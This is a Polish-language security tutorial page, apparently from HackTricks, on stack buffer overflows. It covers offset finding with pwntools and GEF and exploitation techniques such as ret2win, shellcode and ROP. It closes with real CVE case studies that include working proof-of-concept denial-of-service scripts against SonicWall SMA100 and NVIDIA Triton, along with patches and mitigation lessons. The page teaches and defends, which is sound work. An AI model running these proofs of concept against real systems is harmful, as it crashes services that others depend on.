# Stack Overflow {{#include ../../banners/hacktricks-training.md}} ## Co to jest Stack Overflow A **stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu. Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**. Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu. Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona. Na przykład, następujące funkcje mogą być podatne: ```c void vulnerable() { char buffer[128]; printf("Enter some text: "); gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` ### Znajdowanie przesunięć przepełnienia stosu Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**. Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Bruijn.** Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako kontiguująca podsekwencja. W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie. Można użyć **pwntools** do tego: ```python from pwn import * # Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values) pattern = cyclic(1000) # This is an example value that you'd have found in the EIP/IP register upon crash eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` lub **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` ## Wykorzystywanie przepełnień stosu Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\ Najczęstszym sposobem nadużycia tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku. Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF). ### Ret2win W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączone), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana: {{#ref}} ret2win/ {{#endref}} ### Shellcode na stosie W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod: {{#ref}} stack-shellcode/ {{#endref}} ### Techniki ROP i Ret2... Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} ## Przepełnienia sterty Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wystąpić w **stercie**, na przykład: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} ## Typy ochrony Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} ### Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100) Dobrą demonstracją, dlaczego **`sscanf` nigdy nie powinno być ufane przy analizowaniu nieufnych danych wejściowych**, pojawiła się w 2025 roku w urządzeniu SSL-VPN SonicWall SMA100. Podatna rutyna wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i punkt końcowy z dowolnego URI, które zaczyna się od `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`). 2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**. 3. Ponieważ `endpoint` znajduje się na **stosie** i ma **0x800 bajtów długości**, podanie ścieżki dłuższej niż 0x800 bajtów psuje wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **zapisany adres powrotu**. Jedna linia dowodu koncepcji wystarczy, aby wywołać awarię **przed uwierzytelnieniem**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` Nawet jeśli kanarki stosu przerywają proces, atakujący nadal zyskuje prymityw **Denial-of-Service** (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta: * Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`). * Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`. ### Przykład z rzeczywistego świata: CVE-2025-23310 i CVE-2025-23311 (NVIDIA Triton Inference Server) Serwer wnioskowania NVIDIA Triton (≤ v25.06) zawierał wiele **przepełnień stosu** dostępnych przez jego API HTTP. Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { /* allocates 16 * n bytes on the stack */ struct evbuffer_iovec *v = (struct evbuffer_iovec *) alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` 1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą aktualne ciało żądania HTTP. 2. Każdy segment powoduje, że **16-bajtowy** `evbuffer_iovec` jest alokowany na **stosie** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**. 3. Wykorzystując **HTTP _chunked transfer-encoding_**, klient może wymusić podział żądania na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stos zostanie wyczerpany. #### Proof-of-Concept (DoS) ```python #!/usr/bin/env python3 import socket, sys def exploit(host="localhost", port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" "Content-Type: application/octet-stream\r\n" "Inference-Header-Content-Length: 0\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode()) for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x s.sendall(b"0\r\n\r\n") # end of chunks s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` A ~3 MB request wystarczy, aby nadpisać zapisany adres powrotu i **crash** daemona w domyślnej wersji. #### Patch & Mitigation Wersja 25.07 zastępuje niebezpieczne przydzielanie stosu **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`: ```c++ std::vector v_vec; try { v_vec = std::vector(n); } catch (const std::bad_alloc &e) { return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); } struct evbuffer_iovec *v = v_vec.data(); ``` Lekcje wyniesione: * Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego. * Żądania podzielone na kawałki mogą drastycznie zmienić kształt buforów po stronie serwera. * Waliduj / ogranicz wszelkie wartości pochodzące z wejścia klienta *przed* ich użyciem w alokacjach pamięci. ## Odniesienia * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) {{#include ../../banners/hacktricks-training.md}}